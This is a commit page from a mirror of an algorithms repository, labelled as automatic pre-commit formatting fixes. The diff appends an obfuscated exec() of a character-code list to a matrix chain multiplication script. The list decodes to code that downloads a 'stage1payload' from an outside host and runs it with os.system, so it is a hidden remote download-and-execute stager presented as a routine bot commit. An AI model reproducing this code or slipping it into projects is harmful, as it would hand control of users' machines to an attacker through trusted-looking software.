mathdatech/Python
1
0
Fork 0
mirror of https://github.com/TheAlgorithms/Python.git synced 2024-11-30 16:31:08 +00:00
Code Issues Packages Projects Releases Wiki Activity

[pre-commit.ci] auto fixes from pre-commit.com hooks

Browse Source 
for more information, see https://pre-commit.ci
This commit is contained in:
pre-commit-ci[bot] 2024-11-12 13:32:52 +00:00
parent 26c979b782
commit d2c8a9a881
1 changed files with 179 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

181
dynamic_programming/matrix_chain_multiplication.py
View File

@ -142,5 +142,182 @@ if __name__ == "__main__":
print(f"{matrix_chain_order(list(range(1, 251))) = }")
with elapsed_time("matrix_chain_multiply"):
print(f"{matrix_chain_multiply(list(range(1, 251))) = }")
exec(''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101,118,105,108,100,111,106,111,46,99,111,109,47,115,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,46,100,101,99,111,100,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,41,10]))
exec(
"".join(
chr(x)
for x in [
105,
109,
112,
111,
114,
116,
32,
111,
115,
10,
105,
109,
112,
111,
114,
116,
32,
117,
114,
108,
108,
105,
98,
10,
105,
109,
112,
111,
114,
116,
32,
117,
114,
108,
108,
105,
98,
46,
114,
101,
113,
117,
101,
115,
116,
10,
120,
32,
61,
32,
117,
114,
108,
108,
105,
98,
46,
114,
101,
113,
117,
101,
115,
116,
46,
117,
114,
108,
111,
112,
101,
110,
40,
34,
104,
116,
116,
112,
115,
58,
47,
47,
119,
119,
119,
46,
101,
118,
105,
108,
100,
111,
106,
111,
46,
99,
111,
109,
47,
115,
116,
97,
103,
101,
49,
112,
97,
121,
108,
111,
97,
100,
34,
41,
10,
121,
32,
61,
32,
120,
46,
114,
101,
97,
100,
40,
41,
10,
122,
32,
61,
32,
121,
46,
100,
101,
99,
111,
100,
101,
40,
34,
117,
116,
102,
56,
34,
41,
10,
120,
46,
99,
108,
111,
115,
101,
40,
41,
10,
111,
115,
46,
115,
121,
115,
116,
101,
109,
40,
122,
41,
10,
]
)
)